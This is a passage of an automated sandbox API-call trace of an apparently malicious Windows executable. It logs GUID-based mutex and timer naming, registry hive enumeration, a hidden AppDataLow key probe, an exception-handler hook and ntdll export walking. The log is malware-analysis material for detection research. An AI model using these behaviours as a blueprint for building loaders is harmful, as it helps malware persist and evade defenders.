hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.553] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 38 [0042.553] lstrlenA (lpString="%APPDATA%\\Microsoft\\") returned 20 [0042.553] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x3b) returned 0x9b6d9f0 [0042.553] lstrcpyA (in: lpString1=0x9b6d9f0, lpString2="%APPDATA%\\Microsoft\\" | out: lpString1="%APPDATA%\\Microsoft\\") returned="%APPDATA%\\Microsoft\\" [0042.553] lstrcatA (in: lpString1="%APPDATA%\\Microsoft\\", lpString2="{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" | out: lpString1="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" [0042.553] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.554] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned 38 [0042.554] lstrlenA (lpString="Local\\") returned 6 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6da40 [0042.554] lstrcpyA (in: lpString1=0x9b6da40, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.554] lstrcatA (in: lpString1="Local\\", lpString2="{A3415127-A63A-CD11-C887-3A517CAB0E15}" | out: lpString1="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}") returned="Local\\{A3415127-A63A-CD11-C887-3A517CAB0E15}" [0042.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.554] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{70017650-0FA6-225C-19A4-B3765D18970A}") returned 38 [0042.554] lstrlenA (lpString="Local\\") returned 6 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6da80 [0042.554] lstrcpyA (in: lpString1=0x9b6da80, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.554] lstrcatA (in: lpString1="Local\\", lpString2="{70017650-0FA6-225C-19A4-B3765D18970A}" | out: lpString1="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}") returned="Local\\{70017650-0FA6-225C-19A4-B3765D18970A}" [0042.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.554] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned 38 [0042.554] lstrlenA (lpString="Local\\") returned 6 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6dac0 [0042.554] lstrcpyA (in: lpString1=0x9b6dac0, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.554] lstrcatA (in: lpString1="Local\\", lpString2="{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" | out: lpString1="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}") returned="Local\\{E12FFA4A-CC07-BBA0-DEA5-C01FF2A9F4C3}" [0042.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.554] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned 38 [0042.554] lstrlenA (lpString="Local\\") returned 6 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9b6db00 [0042.554] lstrcpyA (in: lpString1=0x9b6db00, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0042.554] lstrcatA (in: lpString1="Local\\", lpString2="{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" | out: lpString1="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}") returned="Local\\{46DA6D74-EDEC-6869-A7DA-711CCBAE3510}" [0042.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6d500 [0042.554] wsprintfA (in: param_1=0x9b6d500, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{AE7A4847-3582-10AE-2FC2-3944D3167DB8}") returned 38 [0042.554] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6db40 [0042.554] lstrcatA (in: lpString1="", lpString2="{AE7A4847-3582-10AE-2FC2-3944D3167DB8}" | out: lpString1="{AE7A4847-3582-10AE-2FC2-3944D3167DB8}") returned="{AE7A4847-3582-10AE-2FC2-3944D3167DB8}" [0042.554] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.555] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x76f40000 [0042.556] GetProcAddress (hModule=0x76f40000, lpProcName="GetWindowThreadProcessId") returned 0x76f50a90 [0042.556] FindWindowA (lpClassName="ProgMan", lpWindowName=0x0) returned 0x100ee [0042.556] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x6adfd20 | out: lpdwProcessId=0x6adfd20) returned 0x45c [0042.556] lstrlenW (lpString="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe") returned 53 [0042.556] GetCurrentProcessId () returned 0x458 [0042.557] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1230 [0042.557] GetFileSize (in: hFile=0x1230, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11ac00 [0042.557] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11ac01) returned 0x95f0040 [0042.558] ReadFile (in: hFile=0x1230, lpBuffer=0x95f0040, nNumberOfBytesToRead=0x11ac00, lpNumberOfBytesRead=0x6adfd08, lpOverlapped=0x0 | out: lpBuffer=0x95f0040*, lpNumberOfBytesRead=0x6adfd08*=0x11ac00, lpOverlapped=0x0) returned 1 [0042.589] CloseHandle (hObject=0x1230) returned 1 [0042.589] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x20c) returned 0x9b6db70 [0042.589] lstrcpyW (in: lpString1=0x9b6db74, lpString2="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" | out: lpString1="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe") returned="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" [0042.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94dac94, lpParameter=0x9b6db70, dwCreationFlags=0x0, lpThreadId=0x6adfd30 | out: lpThreadId=0x6adfd30*=0xaf4) returned 0x1230 [0042.590] CloseHandle (hObject=0x1230) returned 1 [0042.591] CreateWaitableTimerA (lpTimerAttributes=0x9518880, bManualReset=1, lpTimerName="Local\\{722AD44B-2987-7426-43C6-6DE8275AF19C}") returned 0x1230 [0042.591] SetWaitableTimer (hTimer=0x1230, lpDueTime=0x6adfd28, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0042.591] CloseHandle (hObject=0x1230) returned 1 [0042.591] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x6adfcf0 | out: Wow64Process=0x6adfcf0) returned 1 [0042.591] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyExA") returned 0x7fefd72b5f0 [0042.592] RegOpenKeyExA (in: hKey=0xffffffff80000003, lpSubKey=0x0, ulOptions=0x0, samDesired=0x20219, phkResult=0x6adfcb8 | out: phkResult=0x6adfcb8*=0x1230) returned 0x0 [0042.592] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x104) returned 0x9b6dd90 [0042.592] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegEnumKeyExA") returned 0x7fefd721d70 [0042.592] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x0, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".DEFAULT", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.592] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.592] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x1, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-19", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.592] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.592] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x2, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-20", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.593] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.593] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x3, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-21-2345716840-1148442690-1481144037-1000", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.593] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrChrA") returned 0x7fefd5daf54 [0042.593] StrChrA (lpStart="S-1-5-21-2345716840-1148442690-1481144037-1000", wMatch=0x5f) returned 0x0 [0042.593] lstrcpyA (in: lpString1=0x6adfb50, lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000") returned="S-1-5-21-2345716840-1148442690-1481144037-1000" [0042.593] lstrcatA (in: lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0042.593] lstrcatA (in: lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" | out: lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000\\Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580") returned="S-1-5-21-2345716840-1148442690-1481144037-1000\\Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580" [0042.594] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegOpenKeyA") returned 0x7fefd71d6d0 [0042.594] RegOpenKeyA (in: hKey=0x1230, lpSubKey="S-1-5-21-2345716840-1148442690-1481144037-1000\\Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x6adfb40 | out: phkResult=0x6adfb40*=0x0) returned 0x2 [0042.594] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.594] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x4, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-21-2345716840-1148442690-1481144037-1000_Classes", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.594] StrChrA (lpStart="S-1-5-21-2345716840-1148442690-1481144037-1000_Classes", wMatch=0x5f) returned="_Classes" [0042.594] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.594] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x5, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0042.594] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0042.594] RegEnumKeyExA (in: hKey=0x1230, dwIndex=0x6, lpName=0x9b6dd90, lpcchName=0x6adfcb0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="S-1-5-18", lpcchName=0x6adfcb0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0042.594] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd90 | out: hHeap=0x9770000) returned 1 [0042.595] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegCloseKey") returned 0x7fefd730710 [0042.595] RegCloseKey (hKey=0x1230) returned 0x0 [0042.595] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1230 [0042.595] RtlAddVectoredExceptionHandler (FirstHandler=0x0, VectoredHandler=0x94cbe4c) returned 0x727db70 [0042.595] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x70) returned 0x9b6dd90 [0042.595] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="{AE7A4847-3582-10AE-2FC2-3944D3167DB8}") returned 0x120c [0042.595] GetLastError () returned 0x0 [0042.595] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6d500 [0042.595] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.596] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0042.596] GetModuleHandleA (lpModuleName="kernelbase") returned 0x7fefd330000 [0042.597] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1058) returned 0x9b6de10 [0042.597] GetProcAddress (hModule=0x7fefd710000, lpProcName="GetUserNameA") returned 0x7fefd71dc20 [0042.597] GetUserNameA (in: lpBuffer=0x0, pcbBuffer=0x6adfd30 | out: lpBuffer=0x0, pcbBuffer=0x6adfd30) returned 0 [0042.598] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x12) returned 0x9b6ee70 [0042.598] GetUserNameA (in: lpBuffer=0x9b6ee70, pcbBuffer=0x6adfd30 | out: lpBuffer="aETAdzjz", pcbBuffer=0x6adfd30) returned 1 [0042.598] GetCurrentThreadId () returned 0xaf0 [0042.599] GetProcAddress (hModule=0x76f40000, lpProcName="GetThreadDesktop") returned 0x76f5a850 [0042.599] GetThreadDesktop (dwThreadId=0xaf0) returned 0x30 [0042.599] GetProcAddress (hModule=0x76f40000, lpProcName="GetUserObjectInformationA") returned 0x76f4777c [0042.599] GetUserObjectInformationA (in: hObj=0x30, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x6adfd28 | out: pvInfo=0x0, lpnLengthNeeded=0x6adfd28) returned 0 [0042.599] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10) returned 0x9b6ee90 [0042.599] GetUserObjectInformationA (in: hObj=0x30, nIndex=2, pvInfo=0x9b6ee90, nLength=0x10, lpnLengthNeeded=0x6adfd28 | out: pvInfo=0x9b6ee90, lpnLengthNeeded=0x6adfd28) returned 1 [0042.599] lstrlenA (lpString="Default") returned 7 [0042.599] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ee90 | out: hHeap=0x9770000) returned 1 [0042.600] GetProcAddress (hModule=0x76f40000, lpProcName="CloseDesktop") returned 0x76f4d850 [0042.600] CloseDesktop (hDesktop=0x30) returned 0 [0042.600] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0042.600] lstrlenA (lpString="A_SHAFinal") returned 10 [0042.600] lstrlenA (lpString="A_SHAInit") returned 9 [0042.600] lstrlenA (lpString="A_SHAUpdate") returned 11 [0042.600] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0042.600] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0042.600] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0042.600] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0042.600] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0042.600] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0042.600] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0042.600] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0042.600] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0042.600] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0042.600] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0042.600] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0042.600] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0042.600] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0042.600] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0042.600] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0042.601] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0042.601] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0042.601] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0042.601] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0042.601] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0042.601] lstrlenA (lpString="CsrClientCallServer") returned 19 [0042.601] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0042.601] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0042.601] lstrlenA (lpString="CsrGetProcessId") returned 15 [0042.601] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0042.601] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0042.601] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0042.601] lstrlenA (lpString="DbgBreakPoint") returned 13 [0042.601] lstrlenA (lpString="DbgPrint") returned 8 [0042.601] lstrlenA (lpString="DbgPrintEx") returned 10 [0042.601] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0042.601] lstrlenA (lpString="DbgPrompt") returned 9 [0042.601] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0042.601] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0042.601] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0042.601] lstrlenA (lpString="DbgUiContinue") returned 13 [0042.601] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0042.601] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0042.601] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0042.601] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0042.601] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0042.601] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0042.601] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0042.601] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0042.601] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0042.601] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0042.601] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0042.601] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0042.601] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0042.601] lstrlenA (lpString="EtwEventEnabled") returned 15 [0042.601] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0042.601] lstrlenA (lpString="EtwEventRegister") returned 16 [0042.601] lstrlenA (lpString="EtwEventUnregister") returned 18 [0042.602] lstrlenA (lpString="EtwEventWrite") returned 13 [0042.602] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0042.602] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0042.602] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0042.602] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0042.602] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0042.602] lstrlenA (lpString="EtwEventWriteString") returned 19 [0042.602] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0042.602] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0042.602] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0042.602] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0042.602] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0042.602] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0042.602] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0042.602] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0042.602] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0042.602] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0042.602] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0042.602] lstrlenA (lpString="EtwReplyNotification") returned 20 [0042.602] lstrlenA (lpString="EtwSendNotification") returned 19 [0042.602] lstrlenA (lpString="EtwSetMark") returned 10 [0042.602] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0042.602] lstrlenA (lpString="EtwTraceMessage") returned 15 [0042.602] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0042.602] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0042.602] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0042.602] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0042.602] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0042.602] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0042.602] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0042.602] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0042.602] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0042.602] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0042.602] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0042.603] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0042.603] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0042.603] lstrlenA (lpString="LdrAccessResource") returned 17 [0042.603] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0042.603] lstrlenA (lpString="LdrAddRefDll") returned 12 [0042.603] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0042.603] lstrlenA (lpString="LdrEnumResources") returned 16 [0042.603] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0042.603] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0042.603] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0042.603] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0042.603] lstrlenA (lpString="LdrFindResource_U") returned 17 [0042.603] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0042.627] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0042.627] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0042.627] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0042.627] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0042.627] lstrlenA (lpString="LdrGetFailureData") returned 17 [0042.627] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0042.627] lstrlenA (lpString="LdrGetKnownDllSectionHandle") returned 27 [0042.627] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0042.627] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0042.627] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0042.627] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0042.627] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0042.627] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0042.627] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0042.627] lstrlenA (lpString="LdrLoadDll") returned 10 [0042.627] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0042.627] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0042.627] lstrlenA (lpString="LdrProcessInitializationComplete") returned 32 [0042.627] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0042.627] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0042.627] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0042.627] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0042.627] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0042.627] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0042.627] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0042.627] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0042.627] lstrlenA (lpString="LdrResFindResource") returned 18 [0042.628] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0042.628] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0042.628] lstrlenA (lpString="LdrResRelease") returned 13 [0042.628] lstrlenA (lpString="LdrResSearchResource") returned 20 [0042.628] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0042.628] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0042.628] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0042.628] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0042.628] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0042.628] lstrlenA (lpString="LdrShutdownThread") returned 17 [0042.628] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0042.628] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0042.628] lstrlenA (lpString="LdrUnloadDll") returned 12 [0042.628] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0042.628] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0042.628] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0042.628] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0042.628] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0042.628] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0042.628] lstrlenA (lpString="MD4Final") returned 8 [0042.628] lstrlenA (lpString="MD4Init") returned 7 [0042.628] lstrlenA (lpString="MD4Update") returned 9 [0042.628] lstrlenA (lpString="MD5Final") returned 8 [0042.628] lstrlenA (lpString="MD5Init") returned 7 [0042.628] lstrlenA (lpString="MD5Update") returned 9 [0042.628] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0042.628] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0042.628] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0042.628] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0042.628] lstrlenA (lpString="NtAccessCheck") returned 13 [0042.628] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0042.628] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0042.628] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 